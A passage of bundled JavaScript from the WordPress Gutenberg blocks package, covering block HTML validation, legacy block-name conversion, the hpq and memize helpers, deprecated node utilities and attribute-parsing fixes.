8036 // eslint-disable-next-line no-console
8037 warning: createLogHandler(console.warn),
8038 getItems() {
8039 return [];
8040 }
8041 };
8042 }
8043 function createQueuedLogger() {
8044 const queue = [];
8045 const logger = createLogger();
8046 return {
8047 error(...args) {
8048 queue.push({ log: logger.error, args });
8049 },
8050 warning(...args) {
8051 queue.push({ log: logger.warning, args });
8052 },
8053 getItems() {
8054 return queue;
8055 }
8056 };
8057 }
8058
8059 // packages/blocks/build-module/api/validation/index.mjs
8060 var identity = (x2) => x2;
8061 var REGEXP_WHITESPACE = /[\t\n\r\v\f ]+/g;
8062 var REGEXP_ONLY_WHITESPACE = /^[\t\n\r\v\f ]*$/;
8063 var REGEXP_STYLE_URL_TYPE = /^url\s*\(['"\s]*(.*?)['"\s]*\)$/;
8064 var BOOLEAN_ATTRIBUTES = [
8065 "allowfullscreen",
8066 "allowpaymentrequest",
8067 "allowusermedia",
8068 "async",
8069 "autofocus",
8070 "autoplay",
8071 "checked",
8072 "controls",
8073 "default",
8074 "defer",
8075 "disabled",
8076 "download",
8077 "formnovalidate",
8078 "hidden",
8079 "ismap",
8080 "itemscope",
8081 "loop",
8082 "multiple",
8083 "muted",
8084 "nomodule",
8085 "novalidate",
8086 "open",
8087 "playsinline",
8088 "readonly",
8089 "required",
8090 "reversed",
8091 "selected",
8092 "typemustmatch"
8093 ];
8094 var ENUMERATED_ATTRIBUTES = [
8095 "autocapitalize",
8096 "autocomplete",
8097 "charset",
8098 "contenteditable",
8099 "crossorigin",
8100 "decoding",
8101 "dir",
8102 "draggable",
8103 "enctype",
8104 "formenctype",
8105 "formmethod",
8106 "http-equiv",
8107 "inputmode",
8108 "kind",
8109 "method",
8110 "preload",
8111 "scope",
8112 "shape",
8113 "spellcheck",
8114 "translate",
8115 "type",
8116 "wrap"
8117 ];
8118 var MEANINGFUL_ATTRIBUTES = [
8119 ...BOOLEAN_ATTRIBUTES,
8120 ...ENUMERATED_ATTRIBUTES
8121 ];
8122 var TEXT_NORMALIZATIONS = [identity, getTextWithCollapsedWhitespace];
8123 var REGEXP_NAMED_CHARACTER_REFERENCE = /^[\da-z]+$/i;
8124 var REGEXP_DECIMAL_CHARACTER_REFERENCE = /^#\d+$/;
8125 var REGEXP_HEXADECIMAL_CHARACTER_REFERENCE = /^#x[\da-f]+$/i;
8126 function isValidCharacterReference(text2) {
8127 return REGEXP_NAMED_CHARACTER_REFERENCE.test(text2) || REGEXP_DECIMAL_CHARACTER_REFERENCE.test(text2) || REGEXP_HEXADECIMAL_CHARACTER_REFERENCE.test(text2);
8128 }
8129 var DecodeEntityParser = class {
8130 /**
8131 * Returns a substitute string for an entity string sequence between `&`
8132 * and `;`, or undefined if no substitution should occur.
8133 *
8134 * @param {string} entity Entity fragment discovered in HTML.
8135 *
8136 * @return {string | undefined} Entity substitute value.
8137 */
8138 parse(entity) {
8139 if (isValidCharacterReference(entity)) {
8140 return (0, import_html_entities.decodeEntities)("&" + entity + ";");
8141 }
8142 }
8143 };
8144 function getTextPiecesSplitOnWhitespace(text2) {
8145 return text2.trim().split(REGEXP_WHITESPACE);
8146 }
8147 function getTextWithCollapsedWhitespace(text2) {
8148 return getTextPiecesSplitOnWhitespace(text2).join(" ");
8149 }
8150 function getMeaningfulAttributePairs(token) {
8151 return token.attributes.filter((pair) => {
8152 const [key, value] = pair;
8153 return value || key.indexOf("data-") === 0 || MEANINGFUL_ATTRIBUTES.includes(key);
8154 });
8155 }
8156 function isEquivalentTextTokens(actual, expected, logger = createLogger()) {
8157 let actualChars = actual.chars;
8158 let expectedChars = expected.chars;
8159 for (let i2 = 0; i2 < TEXT_NORMALIZATIONS.length; i2++) {
8160 const normalize = TEXT_NORMALIZATIONS[i2];
8161 actualChars = normalize(actualChars);
8162 expectedChars = normalize(expectedChars);
8163 if (actualChars === expectedChars) {
8164 return true;
8165 }
8166 }
8167 logger.warning(
8168 "Expected text `%s`, saw `%s`.",
8169 expected.chars,
8170 actual.chars
8171 );
8172 return false;
8173 }
8174 function getNormalizedLength(value) {
8175 if (0 === parseFloat(value)) {
8176 return "0";
8177 }
8178 if (value.indexOf(".") === 0) {
8179 return "0" + value;
8180 }
8181 return value;
8182 }
8183 function getNormalizedStyleValue(value) {
8184 const textPieces = getTextPiecesSplitOnWhitespace(value);
8185 const normalizedPieces = textPieces.map(getNormalizedLength);
8186 const result = normalizedPieces.join(" ");
8187 return result.replace(REGEXP_STYLE_URL_TYPE, "url($1)");
8188 }
8189 function getStyleProperties(text2) {
8190 const pairs = text2.replace(/;?\s*$/, "").split(";").map((style) => {
8191 const [key, ...valueParts] = style.split(":");
8192 const value = valueParts.join(":");
8193 return [key.trim(), getNormalizedStyleValue(value.trim())];
8194 });
8195 return Object.fromEntries(pairs);
8196 }
8197 var isEqualAttributesOfName = {
8198 class: (actual, expected) => {
8199 const [actualPieces, expectedPieces] = [actual, expected].map(
8200 getTextPiecesSplitOnWhitespace
8201 );
8202 const actualDiff = actualPieces.filter(
8203 (c2) => !expectedPieces.includes(c2)
8204 );
8205 const expectedDiff = expectedPieces.filter(
8206 (c2) => !actualPieces.includes(c2)
8207 );
8208 return actualDiff.length === 0 && expectedDiff.length === 0;
8209 },
8210 style: (actual, expected) => {
8211 return (0, import_es6.default)(
8212 ...[actual, expected].map(getStyleProperties)
8213 );
8214 },
8215 // For each boolean attribute, mere presence of attribute in both is enough
8216 // to assume equivalence.
8217 ...Object.fromEntries(
8218 BOOLEAN_ATTRIBUTES.map((attribute) => [attribute, () => true])
8219 )
8220 };
8221 function isEqualTagAttributePairs(actual, expected, logger = createLogger()) {
8222 if (actual.length !== expected.length) {
8223 logger.warning(
8224 "Expected attributes %o, instead saw %o.",
8225 expected,
8226 actual
8227 );
8228 return false;
8229 }
8230 const expectedAttributes = {};
8231 for (let i2 = 0; i2 < expected.length; i2++) {
8232 expectedAttributes[expected[i2][0].toLowerCase()] = expected[i2][1];
8233 }
8234 for (let i2 = 0; i2 < actual.length; i2++) {
8235 const [name, actualValue] = actual[i2];
8236 const nameLower = name.toLowerCase();
8237 if (!expectedAttributes.hasOwnProperty(nameLower)) {
8238 logger.warning("Encountered unexpected attribute `%s`.", name);
8239 return false;
8240 }
8241 const expectedValue = expectedAttributes[nameLower];
8242 const isEqualAttributes = isEqualAttributesOfName[nameLower];
8243 if (isEqualAttributes) {
8244 if (!isEqualAttributes(actualValue, expectedValue)) {
8245 logger.warning(
8246 "Expected attribute `%s` of value `%s`, saw `%s`.",
8247 name,
8248 expectedValue,
8249 actualValue
8250 );
8251 return false;
8252 }
8253 } else if (actualValue !== expectedValue) {
8254 logger.warning(
8255 "Expected attribute `%s` of value `%s`, saw `%s`.",
8256 name,
8257 expectedValue,
8258 actualValue
8259 );
8260 return false;
8261 }
8262 }
8263 return true;
8264 }
8265 var isEqualTokensOfType = {
8266 StartTag: (actual, expected, logger = createLogger()) => {
8267 if (actual.tagName !== expected.tagName && // Optimization: Use short-circuit evaluation to defer case-
8268 // insensitive check on the assumption that the majority case will
8269 // have exactly equal tag names.
8270 actual.tagName.toLowerCase() !== expected.tagName.toLowerCase()) {
8271 logger.warning(
8272 "Expected tag name `%s`, instead saw `%s`.",
8273 expected.tagName,
8274 actual.tagName
8275 );
8276 return false;
8277 }
8278 return isEqualTagAttributePairs(
8279 ...[actual, expected].map(getMeaningfulAttributePairs),
8280 logger
8281 );
8282 },
8283 Chars: isEquivalentTextTokens,
8284 Comment: isEquivalentTextTokens
8285 };
8286 function getNextNonWhitespaceToken(tokens) {
8287 let token;
8288 while (token = tokens.shift()) {
8289 if (token.type !== "Chars") {
8290 return token;
8291 }
8292 if (!REGEXP_ONLY_WHITESPACE.test(token.chars)) {
8293 return token;
8294 }
8295 }
8296 }
8297 function getHTMLTokens(html2, logger = createLogger()) {
8298 try {
8299 return new Tokenizer(new DecodeEntityParser()).tokenize(html2);
8300 } catch (e2) {
8301 logger.warning("Malformed HTML detected: %s", html2);
8302 }
8303 return null;
8304 }
8305 function isClosedByToken(currentToken, nextToken) {
8306 if (!currentToken.selfClosing) {
8307 return false;
8308 }
8309 if (nextToken && nextToken.tagName === currentToken.tagName && nextToken.type === "EndTag") {
8310 return true;
8311 }
8312 return false;
8313 }
8314 function isEquivalentHTML(actual, expected, logger = createLogger()) {
8315 if (actual === expected) {
8316 return true;
8317 }
8318 const [actualTokens, expectedTokens] = [actual, expected].map(
8319 (html2) => getHTMLTokens(html2, logger)
8320 );
8321 if (!actualTokens || !expectedTokens) {
8322 return false;
8323 }
8324 let actualToken, expectedToken;
8325 while (actualToken = getNextNonWhitespaceToken(actualTokens)) {
8326 expectedToken = getNextNonWhitespaceToken(expectedTokens);
8327 if (!expectedToken) {
8328 logger.warning(
8329 "Expected end of content, instead saw %o.",
8330 actualToken
8331 );
8332 return false;
8333 }
8334 if (actualToken.type !== expectedToken.type) {
8335 logger.warning(
8336 "Expected token of type `%s` (%o), instead saw `%s` (%o).",
8337 expectedToken.type,
8338 expectedToken,
8339 actualToken.type,
8340 actualToken
8341 );
8342 return false;
8343 }
8344 const isEqualTokens = isEqualTokensOfType[actualToken.type];
8345 if (isEqualTokens && !isEqualTokens(actualToken, expectedToken, logger)) {
8346 return false;
8347 }
8348 if (isClosedByToken(actualToken, expectedTokens[0])) {
8349 getNextNonWhitespaceToken(expectedTokens);
8350 } else if (isClosedByToken(expectedToken, actualTokens[0])) {
8351 getNextNonWhitespaceToken(actualTokens);
8352 }
8353 }
8354 if (expectedToken = getNextNonWhitespaceToken(expectedTokens)) {
8355 logger.warning(
8356 "Expected %o, instead saw end of content.",
8357 expectedToken
8358 );
8359 return false;
8360 }
8361 return true;
8362 }
8363 function validateBlock(block, blockTypeOrName = block.name) {
8364 const isFallbackBlock = block.name === getFreeformContentHandlerName() || block.name === getUnregisteredTypeHandlerName();
8365 if (isFallbackBlock) {
8366 return [true, []];
8367 }
8368 const logger = createQueuedLogger();
8369 const blockType = normalizeBlockType(blockTypeOrName);
8370 let generatedBlockContent;
8371 try {
8372 generatedBlockContent = getSaveContent(blockType, block.attributes);
8373 } catch (error) {
8374 logger.error(
8375 "Block validation failed because an error occurred while generating block content:\n\n%s",
8376 error.toString()
8377 );
8378 return [false, logger.getItems()];
8379 }
8380 const isValid = isEquivalentHTML(
8381 block.originalContent,
8382 generatedBlockContent,
8383 logger
8384 );
8385 if (!isValid) {
8386 logger.error(
8387 "Block validation failed for `%s` (%o).\n\nContent generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s",
8388 blockType.name,
8389 blockType,
8390 generatedBlockContent,
8391 block.originalContent
8392 );
8393 }
8394 return [isValid, logger.getItems()];
8395 }
8396 function isValidBlockContent(blockTypeOrName, attributes, originalBlockContent) {
8397 (0, import_deprecated7.default)("isValidBlockContent introduces opportunity for data loss", {
8398 since: "12.6",
8399 plugin: "Gutenberg",
8400 alternative: "validateBlock"
8401 });
8402 const blockType = normalizeBlockType(blockTypeOrName);
8403 const block = {
8404 name: blockType.name,
8405 attributes,
8406 innerBlocks: [],
8407 originalContent: originalBlockContent
8408 };
8409 const [isValid] = validateBlock(block, blockType);
8410 return isValid;
8411 }
8412
8413 // packages/blocks/build-module/api/parser/convert-legacy-block.mjs
8414 function convertLegacyBlockNameAndAttributes(name, attributes) {
8415 const newAttributes = { ...attributes };
8416 if ("core/cover-image" === name) {
8417 name = "core/cover";
8418 }
8419 if ("core/text" === name || "core/cover-text" === name) {
8420 name = "core/paragraph";
8421 }
8422 if (name && name.indexOf("core/social-link-") === 0) {
8423 newAttributes.service = name.substring(17);
8424 name = "core/social-link";
8425 }
8426 if (name && name.indexOf("core-embed/") === 0) {
8427 const providerSlug = name.substring(11);
8428 const deprecated12 = {
8429 speaker: "speaker-deck",
8430 polldaddy: "crowdsignal"
8431 };
8432 newAttributes.providerNameSlug = providerSlug in deprecated12 ? deprecated12[providerSlug] : providerSlug;
8433 if (!["amazon-kindle", "wordpress"].includes(providerSlug)) {
8434 newAttributes.responsive = true;
8435 }
8436 name = "core/embed";
8437 }
8438 if (name === "core/post-comment-author") {
8439 name = "core/comment-author-name";
8440 }
8441 if (name === "core/post-comment-content") {
8442 name = "core/comment-content";
8443 }
8444 if (name === "core/post-comment-date") {
8445 name = "core/comment-date";
8446 }
8447 if (name === "core/comments-query-loop") {
8448 name = "core/comments";
8449 const { className = "" } = newAttributes;
8450 if (!className.includes("wp-block-comments-query-loop")) {
8451 newAttributes.className = [
8452 "wp-block-comments-query-loop",
8453 className
8454 ].join(" ");
8455 }
8456 }
8457 if (name === "core/post-comments") {
8458 name = "core/comments";
8459 newAttributes.legacy = true;
8460 }
8461 if (attributes.layout?.type === "grid" && typeof attributes.layout?.columnCount === "string") {
8462 newAttributes.layout = {
8463 ...newAttributes.layout,
8464 columnCount: parseInt(attributes.layout.columnCount, 10)
8465 };
8466 }
8467 if (typeof attributes.style?.layout?.columnSpan === "string") {
8468 const columnSpanNumber = parseInt(
8469 attributes.style.layout.columnSpan,
8470 10
8471 );
8472 newAttributes.style = {
8473 ...newAttributes.style,
8474 layout: {
8475 ...newAttributes.style.layout,
8476 columnSpan: isNaN(columnSpanNumber) ? void 0 : columnSpanNumber
8477 }
8478 };
8479 }
8480 if (typeof attributes.style?.layout?.rowSpan === "string") {
8481 const rowSpanNumber = parseInt(attributes.style.layout.rowSpan, 10);
8482 newAttributes.style = {
8483 ...newAttributes.style,
8484 layout: {
8485 ...newAttributes.style.layout,
8486 rowSpan: isNaN(rowSpanNumber) ? void 0 : rowSpanNumber
8487 }
8488 };
8489 }
8490 return [name, newAttributes];
8491 }
8492
8493 // node_modules/hpq/es/get-path.js
8494 function getPath(object, path) {
8495 var segments = path.split(".");
8496 var segment;
8497 while (segment = segments.shift()) {
8498 if (!(segment in object)) {
8499 return;
8500 }
8501 object = object[segment];
8502 }
8503 return object;
8504 }
8505
8506 // node_modules/hpq/es/index.js
8507 var getDocument = /* @__PURE__ */ (function() {
8508 var doc;
8509 return function() {
8510 if (!doc) {
8511 doc = document.implementation.createHTMLDocument("");
8512 }
8513 return doc;
8514 };
8515 })();
8516 function parse(source, matchers) {
8517 if (!matchers) {
8518 return;
8519 }
8520 if ("string" === typeof source) {
8521 var doc = getDocument();
8522 doc.body.innerHTML = source;
8523 source = doc.body;
8524 }
8525 if ("function" === typeof matchers) {
8526 return matchers(source);
8527 }
8528 if (Object !== matchers.constructor) {
8529 return;
8530 }
8531 return Object.keys(matchers).reduce(function(memo, key) {
8532 memo[key] = parse(source, matchers[key]);
8533 return memo;
8534 }, {});
8535 }
8536 function prop(selector, name) {
8537 if (1 === arguments.length) {
8538 name = selector;
8539 selector = void 0;
8540 }
8541 return function(node) {
8542 var match = node;
8543 if (selector) {
8544 match = node.querySelector(selector);
8545 }
8546 if (match) {
8547 return getPath(match, name);
8548 }
8549 };
8550 }
8551 function attr(selector, name) {
8552 if (1 === arguments.length) {
8553 name = selector;
8554 selector = void 0;
8555 }
8556 return function(node) {
8557 var attributes = prop(selector, "attributes")(node);
8558 if (attributes && attributes.hasOwnProperty(name)) {
8559 return attributes[name].value;
8560 }
8561 };
8562 }
8563 function text(selector) {
8564 return prop(selector, "textContent");
8565 }
8566 function query(selector, matchers) {
8567 return function(node) {
8568 var matches = node.querySelectorAll(selector);
8569 return [].map.call(matches, function(match) {
8570 return parse(match, matchers);
8571 });
8572 };
8573 }
8574
8575 // node_modules/memize/dist/index.js
8576 function memize(fn, options) {
8577 var size = 0;
8578 var head;
8579 var tail;
8580 options = options || {};
8581 function memoized() {
8582 var node = head, len = arguments.length, args, i2;
8583 searchCache: while (node) {
8584 if (node.args.length !== arguments.length) {
8585 node = node.next;
8586 continue;
8587 }
8588 for (i2 = 0; i2 < len; i2++) {
8589 if (node.args[i2] !== arguments[i2]) {
8590 node = node.next;
8591 continue searchCache;
8592 }
8593 }
8594 if (node !== head) {
8595 if (node === tail) {
8596 tail = node.prev;
8597 }
8598 node.prev.next = node.next;
8599 if (node.next) {
8600 node.next.prev = node.prev;
8601 }
8602 node.next = head;
8603 node.prev = null;
8604 head.prev = node;
8605 head = node;
8606 }
8607 return node.val;
8608 }
8609 args = new Array(len);
8610 for (i2 = 0; i2 < len; i2++) {
8611 args[i2] = arguments[i2];
8612 }
8613 node = {
8614 args,
8615 // Generate the result from original function
8616 val: fn.apply(null, args)
8617 };
8618 if (head) {
8619 head.prev = node;
8620 node.next = head;
8621 } else {
8622 tail = node;
8623 }
8624 if (size === /** @type {MemizeOptions} */
8625 options.maxSize) {
8626 tail = /** @type {MemizeCacheNode} */
8627 tail.prev;
8628 tail.next = null;
8629 } else {
8630 size++;
8631 }
8632 head = node;
8633 return node.val;
8634 }
8635 memoized.clear = function() {
8636 head = null;
8637 tail = null;
8638 size = 0;
8639 };
8640 return memoized;
8641 }
8642
8643 // packages/blocks/build-module/api/parser/get-block-attributes.mjs
8644 var import_hooks4 = __toESM(require_hooks(), 1);
8645 var import_rich_text4 = __toESM(require_rich_text(), 1);
8646
8647 // packages/blocks/build-module/api/matchers.mjs
8648 var import_rich_text3 = __toESM(require_rich_text(), 1);
8649
8650 // packages/blocks/build-module/api/node.mjs
8651 var import_deprecated9 = __toESM(require_deprecated(), 1);
8652
8653 // packages/blocks/build-module/api/children.mjs
8654 var import_element3 = __toESM(require_element(), 1);
8655 var import_deprecated8 = __toESM(require_deprecated(), 1);
8656 function getSerializeCapableElement(children) {
8657 return children;
8658 }
8659 function getChildrenArray(children) {
8660 (0, import_deprecated8.default)("wp.blocks.children.getChildrenArray", {
8661 since: "6.1",
8662 version: "6.3",
8663 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8664 });
8665 return children;
8666 }
8667 function concat(...blockNodes) {
8668 (0, import_deprecated8.default)("wp.blocks.children.concat", {
8669 since: "6.1",
8670 version: "6.3",
8671 alternative: "wp.richText.concat",
8672 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8673 });
8674 const result = [];
8675 for (let i2 = 0; i2 < blockNodes.length; i2++) {
8676 const blockNode = Array.isArray(blockNodes[i2]) ? blockNodes[i2] : [blockNodes[i2]];
8677 for (let j2 = 0; j2 < blockNode.length; j2++) {
8678 const child = blockNode[j2];
8679 const canConcatToPreviousString = typeof child === "string" && typeof result[result.length - 1] === "string";
8680 if (canConcatToPreviousString) {
8681 result[result.length - 1] += child;
8682 } else {
8683 result.push(child);
8684 }
8685 }
8686 }
8687 return result;
8688 }
8689 function fromDOM22(domNodes) {
8690 (0, import_deprecated8.default)("wp.blocks.children.fromDOM", {
8691 since: "6.1",
8692 version: "6.3",
8693 alternative: "wp.richText.create",
8694 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8695 });
8696 const result = [];
8697 for (let i2 = 0; i2 < domNodes.length; i2++) {
8698 try {
8699 result.push(fromDOM2(domNodes[i2]));
8700 } catch (error) {
8701 }
8702 }
8703 return result;
8704 }
8705 function toHTML(children) {
8706 (0, import_deprecated8.default)("wp.blocks.children.toHTML", {
8707 since: "6.1",
8708 version: "6.3",
8709 alternative: "wp.richText.toHTMLString",
8710 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8711 });
8712 const element = getSerializeCapableElement(children);
8713 return (0, import_element3.renderToString)(element);
8714 }
8715 function matcher(selector) {
8716 (0, import_deprecated8.default)("wp.blocks.children.matcher", {
8717 since: "6.1",
8718 version: "6.3",
8719 alternative: "html source",
8720 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8721 });
8722 return (domNode) => {
8723 let match = domNode;
8724 if (selector) {
8725 match = domNode.querySelector(selector);
8726 }
8727 if (match) {
8728 return fromDOM22(match.childNodes);
8729 }
8730 return [];
8731 };
8732 }
8733 var children_default = {
8734 concat,
8735 getChildrenArray,
8736 fromDOM: fromDOM22,
8737 toHTML,
8738 matcher
8739 };
8740
8741 // packages/blocks/build-module/api/node.mjs
8742 function isNodeOfType(node, type) {
8743 (0, import_deprecated9.default)("wp.blocks.node.isNodeOfType", {
8744 since: "6.1",
8745 version: "6.3",
8746 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8747 });
8748 return node && node.type === type;
8749 }
8750 function getNamedNodeMapAsObject(nodeMap) {
8751 const result = {};
8752 for (let i2 = 0; i2 < nodeMap.length; i2++) {
8753 const { name, value } = nodeMap[i2];
8754 result[name] = value;
8755 }
8756 return result;
8757 }
8758 function fromDOM2(domNode) {
8759 (0, import_deprecated9.default)("wp.blocks.node.fromDOM", {
8760 since: "6.1",
8761 version: "6.3",
8762 alternative: "wp.richText.create",
8763 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8764 });
8765 if (domNode.nodeType === domNode.TEXT_NODE) {
8766 return domNode.nodeValue;
8767 }
8768 if (domNode.nodeType !== domNode.ELEMENT_NODE) {
8769 throw new TypeError(
8770 "A block node can only be created from a node of type text or element."
8771 );
8772 }
8773 return {
8774 type: domNode.nodeName.toLowerCase(),
8775 props: {
8776 ...getNamedNodeMapAsObject(domNode.attributes),
8777 children: fromDOM22(domNode.childNodes)
8778 }
8779 };
8780 }
8781 function toHTML2(node) {
8782 (0, import_deprecated9.default)("wp.blocks.node.toHTML", {
8783 since: "6.1",
8784 version: "6.3",
8785 alternative: "wp.richText.toHTMLString",
8786 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8787 });
8788 return toHTML([node]);
8789 }
8790 function matcher2(selector) {
8791 (0, import_deprecated9.default)("wp.blocks.node.matcher", {
8792 since: "6.1",
8793 version: "6.3",
8794 alternative: "html source",
8795 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
8796 });
8797 return (domNode) => {
8798 let match = domNode;
8799 if (selector) {
8800 match = domNode.querySelector(selector);
8801 }
8802 try {
8803 return fromDOM2(match);
8804 } catch (error) {
8805 return null;
8806 }
8807 };
8808 }
8809 var node_default = {
8810 isNodeOfType,
8811 fromDOM: fromDOM2,
8812 toHTML: toHTML2,
8813 matcher: matcher2
8814 };
8815
8816 // packages/blocks/build-module/api/matchers.mjs
8817 function html(selector, multilineTag) {
8818 return (domNode) => {
8819 let match = domNode;
8820 if (selector) {
8821 match = domNode.querySelector(selector);
8822 }
8823 if (!match) {
8824 return "";
8825 }
8826 if (multilineTag) {
8827 let value = "";
8828 const length = match.children.length;
8829 for (let index = 0; index < length; index++) {
8830 const child = match.children[index];
8831 if (child.nodeName.toLowerCase() !== multilineTag) {
8832 continue;
8833 }
8834 value += child.outerHTML;
8835 }
8836 return value;
8837 }
8838 return match.innerHTML;
8839 };
8840 }
8841 var richText = (selector, preserveWhiteSpace) => (el) => {
8842 const target = selector ? el.querySelector(selector) : el;
8843 return target ? import_rich_text3.RichTextData.fromHTMLElement(target, { preserveWhiteSpace }) : import_rich_text3.RichTextData.empty();
8844 };
8845
8846 // packages/blocks/build-module/api/parser/get-block-attributes.mjs
8847 var toBooleanAttributeMatcher = (matcher3) => (value) => matcher3(value) !== void 0;
8848 function isOfType(value, type) {
8849 switch (type) {
8850 case "rich-text":
8851 return value instanceof import_rich_text4.RichTextData;
8852 case "string":
8853 return typeof value === "string";
8854 case "boolean":
8855 return typeof value === "boolean";
8856 case "object":
8857 return !!value && value.constructor === Object;
8858 case "null":
8859 return value === null;
8860 case "array":
8861 return Array.isArray(value);
8862 case "integer":
8863 case "number":
8864 return typeof value === "number";
8865 }
8866 return true;
8867 }
8868 function isOfTypes(value, types) {
8869 return types.some((type) => isOfType(value, type));
8870 }
8871 function getBlockAttribute(attributeKey, attributeSchema, innerDOM, commentAttributes, innerHTML) {
8872 let value;
8873 switch (attributeSchema.source) {
8874 // An undefined source means that it's an attribute serialized to the
8875 // block's "comment".
8876 case void 0:
8877 value = commentAttributes ? commentAttributes[attributeKey] : void 0;
8878 break;
8879 // raw source means that it's the original raw block content.
8880 case "raw":
8881 value = innerHTML;
8882 break;
8883 case "attribute":
8884 case "property":
8885 case "html":
8886 case "text":
8887 case "rich-text":
8888 case "children":
8889 case "node":
8890 case "query":
8891 case "tag":
8892 value = parseWithAttributeSchema(innerDOM, attributeSchema);
8893 break;
8894 }
8895 if (!isValidByType(value, attributeSchema.type) || !isValidByEnum(value, attributeSchema.enum)) {
8896 value = void 0;
8897 }
8898 if (value === void 0) {
8899 value = getDefault(attributeSchema);
8900 }
8901 return value;
8902 }
8903 function isValidByType(value, type) {
8904 return type === void 0 || isOfTypes(value, Array.isArray(type) ? type : [type]);
8905 }
8906 function isValidByEnum(value, enumSet) {
8907 return !Array.isArray(enumSet) || enumSet.includes(value);
8908 }
8909 var matcherFromSource = memize((sourceConfig) => {
8910 switch (sourceConfig.source) {
8911 case "attribute": {
8912 let matcher3 = attr(sourceConfig.selector, sourceConfig.attribute);
8913 if (sourceConfig.type === "boolean") {
8914 matcher3 = toBooleanAttributeMatcher(matcher3);
8915 }
8916 return matcher3;
8917 }
8918 case "html":
8919 return html(sourceConfig.selector, sourceConfig.multiline);
8920 case "text":
8921 return text(sourceConfig.selector);
8922 case "rich-text":
8923 return richText(
8924 sourceConfig.selector,
8925 sourceConfig.__unstablePreserveWhiteSpace
8926 );
8927 case "children":
8928 return matcher(sourceConfig.selector);
8929 case "node":
8930 return matcher2(sourceConfig.selector);
8931 case "query":
8932 const subMatchers = Object.fromEntries(
8933 Object.entries(sourceConfig.query).map(
8934 ([key, subSourceConfig]) => [
8935 key,
8936 matcherFromSource(subSourceConfig)
8937 ]
8938 )
8939 );
8940 return query(sourceConfig.selector, subMatchers);
8941 case "tag": {
8942 const matcher3 = prop(sourceConfig.selector, "nodeName");
8943 return (domNode) => matcher3(domNode)?.toLowerCase();
8944 }
8945 default:
8946 console.error(`Unknown source type "${sourceConfig.source}"`);
8947 }
8948 });
8949 function parseHtml(innerHTML) {
8950 return parse(innerHTML, (h2) => h2);
8951 }
8952 function parseWithAttributeSchema(innerHTML, attributeSchema) {
8953 return matcherFromSource(attributeSchema)(parseHtml(innerHTML));
8954 }
8955 function getBlockAttributes(blockTypeOrName, innerHTML, attributes = {}) {
8956 const doc = parseHtml(innerHTML);
8957 const blockType = normalizeBlockType(blockTypeOrName);
8958 const blockAttributes = Object.fromEntries(
8959 Object.entries(blockType.attributes ?? {}).map(
8960 ([key, schema]) => [
8961 key,
8962 getBlockAttribute(key, schema, doc, attributes, innerHTML)
8963 ]
8964 )
8965 );
8966 return (0, import_hooks4.applyFilters)(
8967 "blocks.getBlockAttributes",
8968 blockAttributes,
8969 blockType,
8970 innerHTML,
8971 attributes
8972 );
8973 }
8974
8975 // packages/blocks/build-module/api/parser/fix-custom-classname.mjs
8976 var CLASS_ATTR_SCHEMA = {
8977 type: "string",
8978 source: "attribute",
8979 selector: "[data-custom-class-name] > *",
8980 attribute: "class"
8981 };
8982 function getHTMLRootElementClasses(innerHTML) {
8983 const parsed = parseWithAttributeSchema(
8984 `<div data-custom-class-name>${innerHTML}</div>`,
8985 CLASS_ATTR_SCHEMA
8986 );
8987 return parsed ? parsed.trim().split(/\s+/) : [];
8988 }
8989 function fixCustomClassname(blockAttributes, blockType, innerHTML) {
8990 if (!hasBlockSupport(blockType, "customClassName", true)) {
8991 return blockAttributes;
8992 }
8993 const modifiedBlockAttributes = { ...blockAttributes };
8994 const { className: omittedClassName, ...attributesSansClassName } = modifiedBlockAttributes;
8995 const serialized = getSaveContent(blockType, attributesSansClassName);
8996 const defaultClasses = getHTMLRootElementClasses(serialized);
8997 const actualClasses = getHTMLRootElementClasses(innerHTML);
8998 const customClasses = actualClasses.filter(
8999 (className) => !defaultClasses.includes(className)
9000 );
9001 if (customClasses.length) {
9002 modifiedBlockAttributes.className = customClasses.join(" ");
9003 } else if (serialized) {
9004 delete modifiedBlockAttributes.className;
9005 }
9006 return modifiedBlockAttributes;
9007 }
9008
9009 // packages/blocks/build-module/api/parser/fix-global-attribute.mjs
9010 function getHTMLRootElement(innerHTML, dataAttribute, attributeSchema) {
9011 const parsed = parseWithAttributeSchema(
9012 `<div ${dataAttribute}>${innerHTML}</div>`,
9013 attributeSchema
9014 );
9015 return parsed;
9016 }
9017 function fixGlobalAttribute(blockAttributes, blockType, innerHTML, supportKey, dataAttribute, attributeSchema) {
9018 if (!hasBlockSupport(blockType, supportKey, false)) {
9019 return blockAttributes;
9020 }
9021 const modifiedBlockAttributes = { ...blockAttributes };
9022 const attributeValue = getHTMLRootElement(
9023 innerHTML,
9024 dataAttribute,
9025 attributeSchema
9026 );
9027 if (attributeValue) {
9028 modifiedBlockAttributes[supportKey] = attributeValue;
9029 }
9030 return modifiedBlockAttributes;
9031 }
9032
9033 // packages/blocks/build-module/api/parser/apply-built-in-validation-fixes.mjs
9034 var ARIA_LABEL_ATTR_SCHEMA = {
9035 type: "string",
9036 source: "attribute",
9037 selector: "[data-aria-label] > *",
9038 attribute: "aria-label"
9039 };
9040 var ANCHOR_ATTR_SCHEMA = {
9041 type: "string",
9042 source: "attribute",
9043 selector: "[data-anchor] > *",
9044 attribute: "id"
9045 };
9046 function applyBuiltInValidationFixes(block, blockType) {
9047 const { attributes, originalContent } = block;
9048 let updatedBlockAttributes = attributes;
9049 updatedBlockAttributes = fixCustomClassname(
9050 attributes,
9051 blockType,
9052 originalContent
9053 );
9054 updatedBlockAttributes = fixGlobalAttribute(
9055 updatedBlockAttributes,
9056 blockType,
9057 originalContent,
9058 "ariaLabel",
9059 "data-aria-label",
9060 ARIA_LABEL_ATTR_SCHEMA
9061 );
